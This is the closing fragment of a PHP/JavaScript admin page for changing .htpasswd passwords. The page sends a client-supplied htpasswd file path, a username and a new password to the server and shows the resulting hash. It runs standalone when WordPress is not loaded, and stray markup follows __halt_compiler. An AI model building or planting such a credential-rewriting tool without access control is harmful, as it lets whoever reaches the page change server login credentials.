    document.getElementById('modal-password').focus();
}
function closeModal() { document.getElementById('modal-overlay').classList.remove('active'); }
function togglePw()  { var f=document.getElementById('modal-password');  f.type=f.type==='password'?'text':'password'; }
function togglePw2() { var f=document.getElementById('modal-password2'); f.type=f.type==='password'?'text':'password'; }
function savePassword() {
    var pw=document.getElementById('modal-password').value;
    var pw2=document.getElementById('modal-password2').value;
    var msg=document.getElementById('modal-msg');
    msg.className='modal-msg'; msg.textContent='';
    if (!pw)      { msg.className='modal-msg error'; msg.textContent='Введите пароль'; return; }
    if (pw!==pw2) { msg.className='modal-msg error'; msg.textContent='Пароли не совпадают'; return; }
    if (pw.length<4) { msg.className='modal-msg error'; msg.textContent='Пароль слишком короткий'; return; }
    var btn=document.querySelector('.btn-save');
    btn.disabled=true; btn.textContent='⏳ Сохраняем...';
    var fd=new FormData();
    fd.append(APP_ACTION_FIELD,'change_password'); fd.append('htpasswd_path',_currentFile);
    fd.append('username',_currentUser); fd.append('new_password',pw);
    appPost(fd)
        .then(function(r){ return r.json(); })
        .then(function(data) {
            btn.disabled=false; btn.textContent='💾 Сохранить';
            if (data.success) {
                msg.className='modal-msg success'; msg.textContent='✅ Пароль успешно изменён!';
                document.getElementById('modal-new-hash').textContent='Новый хеш: '+data.new_hash;
                var el=document.getElementById('hash-'+_currentHashId);
                if (el) el.textContent=data.new_hash;
                setTimeout(closeModal,2500);
            } else {
                msg.className='modal-msg error'; msg.textContent='❌ '+data.error;
            }
        })
        .catch(function(e) {
            btn.disabled=false; btn.textContent='💾 Сохранить';
            msg.className='modal-msg error'; msg.textContent='❌ '+e.message;
        });
}
document.getElementById('modal-overlay').addEventListener('click',function(e){ if(e.target===this) closeModal(); });
</script>
</body>
</html>
<?php
}

if (!defined('ABSPATH')) {
    up_to_run_app();
}

__halt_compiler();
</script>
</bod>
</html